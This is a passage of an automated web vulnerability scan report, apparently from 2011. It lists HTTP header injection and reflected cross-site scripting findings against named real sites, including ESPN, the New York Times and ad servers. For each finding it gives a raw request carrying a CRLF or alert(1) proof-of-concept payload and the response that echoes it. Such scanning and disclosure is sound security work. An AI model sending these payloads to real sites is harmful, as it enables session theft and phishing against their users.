GET /cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3Be%3Di%3Bs%3D9542%3Bg%3D172%3Bw%3D56%3Bm%3D0%3Bz%3D6498010861%3Bk%3Dhttp://t.atdmt.com&91f69%0d%0a40968b429be=1 HTTP/1.1
Host: o1.qnsr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:12:30 GMT
Server: QUAD 3G
Set-Cookie: QIDA=TWhhjgqABU0AAFHdFR0; domain=.qnsr.com; path=/; expires=Tue, 23-Feb-21 02:12:30 GMT
Connection: close
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Location: http://t.atdmt.com&91f69
40968b429be
=1?&CCID=20144456203687985&QTR=ZZf0Za20144456Zb0Zg172Zw56Zm0Zc203687985,203687985Zs9542ZZ&CLK=404110225181230908&&exp=y
Content-Type: text/html; charset=iso-8859-1
Content-Length: 424

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF="http://t.atdmt.com&amp;91f69
40968b429be=1?&amp;C
...[SNIP]...

2.25. http://search.espn.go.com/results [searchString parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.espn.go.com
Path:   /results

Issue detail

The value of the searchString request parameter is copied into the Location response header. The payload 16ec8%0d%0a7bfed230cc was submitted in the searchString parameter. This caused a response containing an injected HTTP header.

Request

GET /results?searchString=16ec8%0d%0a7bfed230cc&fromForm=true HTTP/1.1
Host: search.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Connection: close
Content-Length: 21878
Content-Type: text/html; charset=iso-8859-1
Location: http://search.espn.go.com/16ec8
7bfed230cc
/
Server: barista/3.3.6
Set-Cookie: userTyped=true;expires=Thu, 24-Feb-2011 11:06:19 GMT;path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...

2.26. http://tacoda.at.atwola.com/rtx/r.js [N cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tacoda.at.atwola.com
Path:   /rtx/r.js

Issue detail

The value of the N cookie is copied into the Set-Cookie response header. The payload ea197%0d%0add134ef5f12 was submitted in the N cookie. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=DWT:DUY&si=18139&pi=L&xs=3&pu=http%253A//an.tacoda.net/an/18139/bizo_multi.htm%253Fpid%253D224%2526u%253Dfa%253Afa_it%252Cind%253Aind_bizser%2526ifu%253Dhttp%25253A//js.bizographics.com/support/partner.html%25253Fpid%25253D224%252526u%25253Dfa%25253Afa_it%25252Cind%25253Aind_bizser&df=1&v=5.5&cb=54408 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://an.tacoda.net/an/18139/bizo_multi.htm?pid=224&u=fa:fa_it,ind:ind_bizser
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; ANRTT=53615^1^1298647046|52766^1^1298647046|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837; TData=99999|^|#|53615|52766|60130|50213|50239; N=2:cdf4c464d15cc8a036230e4fb13e242c,2d4ec7443dfa469e64430537b01b46dcea197%0d%0add134ef5f12; ATTAC=a3ZzZWc9OTk5OTk6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk=

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 00:22:21 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sat, 26 Feb 2011 00:37:21 GMT
Set-Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; path=/; expires=Tue, 21-Feb-12 00:22:21 GMT; domain=.at.atwola.com
Set-Cookie: ANRTT=53615^1^1299284541|52766^1^1299284541|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837; path=/; expires=Sat, 05-Mar-11 00:22:21 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1298679741^1298681541|18139^1298679741^1298681541; path=/; expires=Sat, 26-Feb-11 00:52:21 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239; expires=Tue, 21-Feb-12 00:22:21 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Sat, 26-Feb-11 06:22:21 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:2d4ec7443dfa469e64430537b01b46dcea197
dd134ef5f12
,d2e443c9307d12f368e0d29c574482d3; expires=Tue, 21-Feb-12 00:22:21 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk=; expires=Tue, 21-Feb-12 00:22:21 GMT; path=/; domain=.at.atwola.com
Set-Cookie: eadx=1; path=/; expires=Sun, 26-Feb-12 00:22:21 GMT; domain=tacoda.at.atwola.com
ntCoent-Length: 170
Content-Type: application/x-javascript
Content-Length: 170

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16lsqii1n1a3cr';
var ANSL='99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239';
ANRTXR();


2.27. http://tacoda.at.atwola.com/rtx/r.js [si parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tacoda.at.atwola.com
Path:   /rtx/r.js

Issue detail

The value of the si request parameter is copied into the Set-Cookie response header. The payload b91d7%0d%0a7626810d274 was submitted in the si parameter. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=DWT:DUY&si=b91d7%0d%0a7626810d274&pi=L&xs=3&pu=http%253A//an.tacoda.net/an/18139/bizo_multi.htm%253Fpid%253D224%2526u%253Dfa%253Afa_it%252Cind%253Aind_bizser%2526ifu%253Dhttp%25253A//js.bizographics.com/support/partner.html%25253Fpid%25253D224%252526u%25253Dfa%25253Afa_it%25252Cind%25253Aind_bizser&df=1&v=5.5&cb=54408 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://an.tacoda.net/an/18139/bizo_multi.htm?pid=224&u=fa:fa_it,ind:ind_bizser
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; ANRTT=53615^1^1298647046|52766^1^1298647046|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837; TData=99999|^|#|53615|52766|60130|50213|50239; N=2:cdf4c464d15cc8a036230e4fb13e242c,2d4ec7443dfa469e64430537b01b46dc; ATTAC=a3ZzZWc9OTk5OTk6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk=

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 00:20:08 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Sat, 26 Feb 2011 00:35:08 GMT
Set-Cookie: ATTACID=a3Z0aWQ9MTZsc3FpaTFuMWEzY3I=; path=/; expires=Tue, 21-Feb-12 00:20:08 GMT; domain=.at.atwola.com
Set-Cookie: ANRTT=53615^1^1299284408|52766^1^1299284408|60130^1^1298898484|50213^1^1298930280|50239^1^1298930837; path=/; expires=Sat, 05-Mar-11 00:20:08 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1298679608^1298681408|b91d7
7626810d274
^1298679608^1298681408; path=/; expires=Sat, 26-Feb-11 00:50:08 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239; expires=Tue, 21-Feb-12 00:20:08 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Sat, 26-Feb-11 06:20:08 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:2d4ec7443dfa469e64430537b01b46dc,d2e443c9307d12f368e0d29c574482d3; expires=Tue, 21-Feb-12 00:20:08 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTM1NzU6NTM2NTY6NTY3Njg6NTY4MzA6NTY4MzU6NjA1MTU6NTM2MTU6NTI3NjY6NjAxMzA6NTAyMTM6NTAyMzk=; expires=Tue, 21-Feb-12 00:20:08 GMT; path=/; domain=.at.atwola.com
Set-Cookie: eadx=1; path=/; expires=Sun, 26-Feb-12 00:20:08 GMT; domain=tacoda.at.atwola.com
Cteonnt-Length: 170
Content-Type: application/x-javascript
Content-Length: 170

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16lsqii1n1a3cr';
var ANSL='99999|^|53575|53656|56768|56830|56835|60515|#|53615|52766|60130|50213|50239';
ANRTXR();


2.28. http://topics.nytimes.com/top/news/business/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://topics.nytimes.com
Path:   /top/news/business/

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 7629a%0d%0ae86b24d9faf was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /top/7629a%0d%0ae86b24d9faf/business/ HTTP/1.1
Host: topics.nytimes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Server: Sun-ONE-Web-Server/6.1
Date: Sat, 26 Feb 2011 02:27:58 GMT
Content-length: 122
Content-type: text/html
Location: http://topics.nytimes.com/top/7629a
e86b24d9faf
/business/index.html
Connection: close

<HTML><HEAD><TITLE>Moved Permanently</TITLE></HEAD>
<BODY><H1>Moved Permanently</H1>
An error has occurred.
</BODY></HTML>

2.29. http://topics.nytimes.com/top/news/business/ [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://topics.nytimes.com
Path:   /top/news/business/

Issue detail

The value of REST URL parameter 3 is copied into the Location response header. The payload 2baca%0d%0abcabc2a4d67 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.

Request

GET /top/news/2baca%0d%0abcabc2a4d67/ HTTP/1.1
Host: topics.nytimes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Server: Sun-ONE-Web-Server/6.1
Date: Sat, 26 Feb 2011 02:27:59 GMT
Content-length: 122
Content-type: text/html
Location: http://topics.nytimes.com/top/news/2baca
bcabc2a4d67
/index.html
Connection: close

<HTML><HEAD><TITLE>Moved Permanently</TITLE></HEAD>
<BODY><H1>Moved Permanently</H1>
An error has occurred.
</BODY></HTML>

2.30. http://tracker-clk.bidder7.mookie1.com/tr-clk [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tracker-clk.bidder7.mookie1.com
Path:   /tr-clk

Issue detail

The value of the url request parameter is copied into the Location response header. The payload 374a9%0d%0acb875d12bdd was submitted in the url parameter. This caused a response containing an injected HTTP header.

Request

GET /tr-clk?a=b5458553-7549-414b-83d2-2100a7556d38&b=1&c=10000114&x=rtbbid7us2&url=374a9%0d%0acb875d12bdd HTTP/1.1
Host: tracker-clk.bidder7.mookie1.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Wed, 23 Feb 2011 23:08:29 GMT
Server: Apache/2.2.3 (Red Hat)
Location: 374a9
cb875d12bdd

Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


2.31. http://tracker.bidder7.mookie1.com/tr-goog [u parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tracker.bidder7.mookie1.com
Path:   /tr-goog

Issue detail

The value of the u request parameter is copied into the Location response header. The payload a6f3b%0d%0a3b973d7f1cc was submitted in the u parameter. This caused a response containing an injected HTTP header.

Request

GET /tr-goog?a=2cd8346d-f045-42c9-88fc-dcc60b1aceb1&b=1&c=10000114&p=TWV-MwAH-acK5XDhULtPxCNCNsaN77VR2WofqQ&u=a6f3b%0d%0a3b973d7f1cc&z=-06:00&x=rtbbid3us2 HTTP/1.1
Host: tracker.bidder7.mookie1.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; other_20110126=set; id=3375925924; dlx_XXX=set

Response

HTTP/1.1 302 Found
Date: Wed, 23 Feb 2011 21:38:05 GMT
Server: Apache/2.2.3 (Red Hat)
Location: http://matcher.bidder7.mookie1.com/tracker?eid=google&id=a6f3b
3b973d7f1cc
&p=TWV-MwAH-acK5XDhULtPxCNCNsaN77VR2WofqQ
Cache-Control: no-cache
Cache-Control: no-store
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


3. Cross-site scripting (reflected)  previous
There are 517 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


3.1. http://1buy.blog.fc2.com/blog-entry-14.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://1buy.blog.fc2.com
Path:   /blog-entry-14.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89cbe"><script>alert(1)</script>05fd418e794 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog-entry-14.html?89cbe"><script>alert(1)</script>05fd418e794=1 HTTP/1.1
Host: 1buy.blog.fc2.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 19 Apr 2011 12:50:35 GMT
Content-Type: text/html;charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.5
X-UA-Compatible: IE=EmulateIE7
Set-Cookie: cookietest=test; expires=Fri, 29-Apr-2011 12:50:35 GMT; path=/
Vary: Accept-Encoding,User-Agent
Content-Length: 74593
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<meta http-equiv="Content
...[SNIP]...
<form action="http://1buy.blog.fc2.com/?no=14&amp;89cbe"><script>alert(1)</script>05fd418e794=1&amp;ul=66eee467b058c0b3" method="get">
...[SNIP]...

3.2. http://66.226.75.109/areaCodes/detail/240/x22 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://66.226.75.109
Path:   /areaCodes/detail/240/x22

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1eab4"><img%20src%3da%20onerror%3dalert(1)>11b26d08f45 was submitted in the REST URL parameter 3. This input was echoed as 1eab4"><img src=a onerror=alert(1)>11b26d08f45 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /areaCodes/detail/2401eab4"><img%20src%3da%20onerror%3dalert(1)>11b26d08f45/x22 HTTP/1.1
Host: 66.226.75.109
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 01:54:07 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: CAKEPHP=3b6903bdbf87953dd60f786f4943fe8b; expires=Sat, 05-Mar-2011 01:54:07 GMT; path=/
Connection: close
Content-Type: text/html
Content-Length: 332163

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>
       Area Code Re
...[SNIP]...
<a href="/npa_nxx/view/2401eab4"><img src=a onerror=alert(1)>11b26d08f45-000">
...[SNIP]...

3.3. http://a.collective-media.net/adj/cm.glam_lifestyle/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/cm.glam_lifestyle/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9545b'-alert(1)-'8a73e893162 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/cm.glam_lifestyle9545b'-alert(1)-'8a73e893162/;sz=160x600;ord=1303349053? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 446
Date: Thu, 21 Apr 2011 01:29:02 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Sat, 21-May-2011 01:29:02 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://k.collective-media.net/cmadj/cm.glam_lifestyle9545b'-alert(1)-'8a73e893162/;sz=160x600;net=cm;ord=1303349053;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.4. http://a.collective-media.net/adj/cm.glam_lifestyle/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/cm.glam_lifestyle/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a7db6'-alert(1)-'1bcc942b3b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/cm.glam_lifestyle/;sz=160x600;ord=1303349053?&a7db6'-alert(1)-'1bcc942b3b7=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 450
Date: Thu, 21 Apr 2011 01:28:57 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Sat, 21-May-2011 01:28:57 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://k.collective-media.net/cmadj/cm.glam_lifestyle/;sz=160x600;net=cm;ord=1303349053?&a7db6'-alert(1)-'1bcc942b3b7=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.5. http://a.collective-media.net/adj/cm.glam_lifestyle/ [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/cm.glam_lifestyle/

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9589d'-alert(1)-'154b0a42b13 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/cm.glam_lifestyle/;sz=160x600;ord=1303349053?9589d'-alert(1)-'154b0a42b13 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 447
Date: Thu, 21 Apr 2011 01:28:56 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Sat, 21-May-2011 01:28:56 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://k.collective-media.net/cmadj/cm.glam_lifestyle/;sz=160x600;net=cm;ord=1303349053?9589d'-alert(1)-'154b0a42b13;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

3.6. http://a.collective-media.net/adj/cm.glam_style/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a.collective-media.net
Path:   /adj/cm.glam_style/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 79f31'-alert(1)-'a96910d97e8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/cm.glam_style79f31'-alert(1)-'a96910d97e8/;sz=160x600;ord=1303349054? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/d5a43de1-76cb-482d-b60c-710bb61c0a49?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349054
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; dc=dc; apnx=1; qcms=1; nadp=1; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
